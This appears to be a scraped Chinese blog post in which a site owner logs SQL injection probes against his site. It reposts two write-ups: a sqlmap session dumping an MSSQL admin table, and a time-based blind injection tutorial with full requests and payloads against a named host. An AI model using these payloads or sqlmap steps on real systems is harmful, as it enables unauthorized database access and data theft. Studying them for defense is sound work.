网站被攻击扫描SQL注入的日常记录
我发了个博客,泄露了域名之后,便有人疯狂的尝试攻击我的站点,奈何我防守做得比较好,直接把网段封了,看到403还锲而不舍,我真是想给他颁奖了
查看ua,发现很多sqlmap的ua,肯定会是被刷了,只是运气比较好,没突破防守
日志记录里边出现这条,经过查阅,是注入攻击
- %%3BSELECT%20PG_SLEEP%%
原文在这里
https://www.jianshu.com/p/267965649779
下一条
- %28SELECT%20CHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2B%28SELECT%%28CASE%20WHEN%%%3D8745%%20THEN%20CHAR%%%20ELSE%20CHAR%%%20END%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%2BCHAR%%%
相关资料在
原文在https://www.cnblogs.com/milantgh/p/4908812.html
发布者
- sqlmap注入检测经验0x01
- 某日偶遇一SQLInjection Point,MSSQL ,已开启显错模式。
- 马上扔进SQLMap跑,一路顺畅,竟然还是SA的权限,心想运气真好,无论如何都拿定了。
- 数据库,表,列都列出来了,但是上–dump参数就死活跑不出来。
- 报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
- 心想应该很容易搞定,遂查找手工注入方法,测试无果。
- 还是回到SQLMap,-h查看帮助,发现-v 参数可以指定输出详细度,开到-v ,发现显示了payload,一不做二不休,直接开到-v ,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。
- Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29
- 显然是2012的问题,也就是应该是错把库名中的数字错当成参数了
- 在URL的库名加上双引号包裹,果然就可以爆出数据了。
- 问题又来了,要我手工爆数据我可搞不定,还是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数
- XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’
- 这次好一点了,还是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,但是库名不对。
- XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218 –dump -D”[2012_xxxx]” -T’Admin’
- 我也不记得哪来的灵机一动,改用中括号包裹,果然就成功了,dump出整个表了。
- XCONCLUSION:在使用SQLMap时可以使用-v参数指定输出详细度,然后直接用浏览器查看payload,确定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。
为避免原文删除,所以搬过来了
下一条
- %28SELECT%%28CHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%%7C%7C%28SELECT%%28CASE%20WHEN%%%3D2244%%20THEN%%20ELSE%%20END%%%3A%3Atext%7C%7C%28CHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%7C%7CCHR%%%%
下一条
- %%20WAITFOR%20DELAY%%%3A0%3A5%%20AND%%27XsDx%%3D%27XsDx
原文地址http://www.91ri.org/4732.html
注入的基础知识就不说的了,只是在这里做个简单的笔记,以便之后拿起了就用。
Default
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: ASP.NET_SessionId=2k32d0nwvrzpbg55qucudt3b
Host: www.cunlide.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
1
2
3
4
5
6
7
8
9
10
11
12
|
POST/card.aspx HTTP/1.1
Content-Length:96
Content-Type:application/x-www-form-urlencoded
X-Requested-With:XMLHttpRequest
Cookie:ASP.NET_SessionId=2k32d0nwvrzpbg55qucudt3b
Host:www.cunlide.com
Connection:Keep-alive
Accept-Encoding:gzip,deflate
User-Agent:Mozilla/5.0(compatible;MSIE9.0;Windows NT6.1;WOW64;Trident/5.0)
Accept:*/*
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
|
看POST数据,注入是发生在username这里。把username的值URL解码下这样比较清楚点。
Default
pxnjodhe'; waitfor delay '0:0:5' --
1
2
3
|
pxnjodhe%27%3b%20waitfor%20delay%20%270%3a0%3a5%27%20--%20
pxnjodhe'; waitfor delay '0:0:5'--
|
因为延时注入是通过页面返回的时间来判断的,所以当我进行猜解的时候也就是用时间来进行猜解,比如我们可以取出db_name的第一个字符,先转换 成ASCII在和数字进行比较(推荐使用<、>),在比较时我们可以用折半法,比如我们先猜解第一个字符是大写字母还是小写字母,就可以用 91来做个标准小于91的为大写字母(A-F,或许是_ 、-),大于则反。
下面两个语句为例子:
Default
//判断权限
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(db_name(),1,1)))>40%20waitfor%20delay%20%270:0:2%27%20--%20
//数据库名
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(user_name(),1,1)))>115%20waitfor%20delay%20%270:0:1%27%20--%20
//用户名
1
2
3
4
5
6
|
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if%20(0%3D(SELECT%20IS_MEMBER('db_owner')))%20waitfor%20delay%20%270:0:11%27%20--%20
//判断权限
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(db_name(),1,1)))>40%20waitfor%20delay%20%270:0:2%27%20--%20
//数据库名
cardid=1&cardpwd=1&Submit2=1&username=pxnjodhe%27;if(ascii(substring(user_name(),1,1)))>115%20waitfor%20delay%20%270:0:1%27%20--%20
//用户名
|
建议用时但编码状态出问题时,可以试试未编码状态。
原文没有图,防止失效,搬过来
下一条
- %20UNION%20ALL%20SELECT%20NULL%2CNULL
这个查询结果就很多了,不再把文章拿过来
网站被攻击扫描SQL注入的日常记录的更多相关文章
- 网站如何防止sql注入攻击的解决办法
首先我们来了解下什么是SQL注入,SQL注入简单来讲就是将一些非法参数插入到网站数据库中去,执行一些sql命令,比如查询数据库的账号密码,数据库的版本,数据库服务器的IP等等的一些操作,sql注入是目 ...
- 谈谈PHP网站的防SQL注入
SQL(Structured Query Language)即结构化查询语言.SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务 ...
- discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- Pikachu靶场SQL注入刷题记录
数字型注入 0x01 burp抓包,发送至repeater 后面加and 1=1,and 1=2 可判断存在注入 0x02 通过order by判断字段数,order by 2 和order by 3 ...
- 网站入侵工具 SQL注入神器
0x 00 前言 SQLMAP 0x 01 注入原理 不说了 *****************************************结束分割线********** ...
- 网站SQL注入防御实战
SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的sc ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施. 一. SQL注入攻击的简单示例. statement := &quo ...
随机推荐
- unordered_map
#include <iostream> #include <cstdio> #include <queue> #include <algorithm> ...
- 关于Loadrunner非常好的英文网站
关于Loadrunner非常好的英文网站 今天无意间在一个测试同行的BLOG中发现了这个网站的链接: http://www.wilsonmar.com/1loadrun.htm 非常棒的一个网站,里面 ...
- A*算法——第K短路
例题 JZOJ senior 1163第K短路 题目描述 Bessie 来到一个小农场,有时她想回老家看看她的一位好友.她不想太早地回到老家,因为她喜欢途中的美丽风景.她决定选择K短路径,而不是最短路 ...
- 如何在屏幕上查看命令的输出以及在Linux中写入文件
在Linux中输出命令可以做很多事情(http://www.nanke0834.com) 您可以将命令的输出分配给变量,将其发送到另一个命令/程序以通过管道进行处理或将其重定向到文件以进行进一步分析. ...
- 阿里云 Aliplayer高级功能介绍(四):直播时移
基本介绍 时移直播基于常规的HLS视频直播,直播推流被切分成TS分片,通过HLS协议向播放用户分发,用户请求的m3u8播放文件中包含不断刷新的TS分片地址:对于常规的HLS直播而言,TS分片地址及相应 ...
- Sentinel 发布里程碑版本,添加集群流控功能
自去年10月底发布GA版本后,Sentinel在近期发布了另一个里程碑版本v1.4(最新的版本号是v1.4.1),加入了开发者关注的集群流控功能. 集群流控简介 为什么要使用集群流控呢?假设我们希望给 ...
- NSLayoutConstraint 开源框架
https://github.com/cloudkite/Masonry Masonry is a light-weight layout framework which wraps AutoLayo ...
- hession RMI 远程调用
/** * * @author administror * 在java中,需要去extends 继承java.rmi.Remote 接口,才能称为在于服务器流的远程对象. * 各客服端调用 * */p ...
- 关于 ros
1.https://mikrotik.com/download 下载 x86 架构的 cd image (当日这是试用版,特殊版下载后道理一样) 2.exsi 上传,并新建 linux 的 其他 ...
- ymfx
一.APIView 入口 在路由层执行as_view()方法 rest-framework/views.py/class APIView/def as_view() 可以看到,APIView继承了Dj ...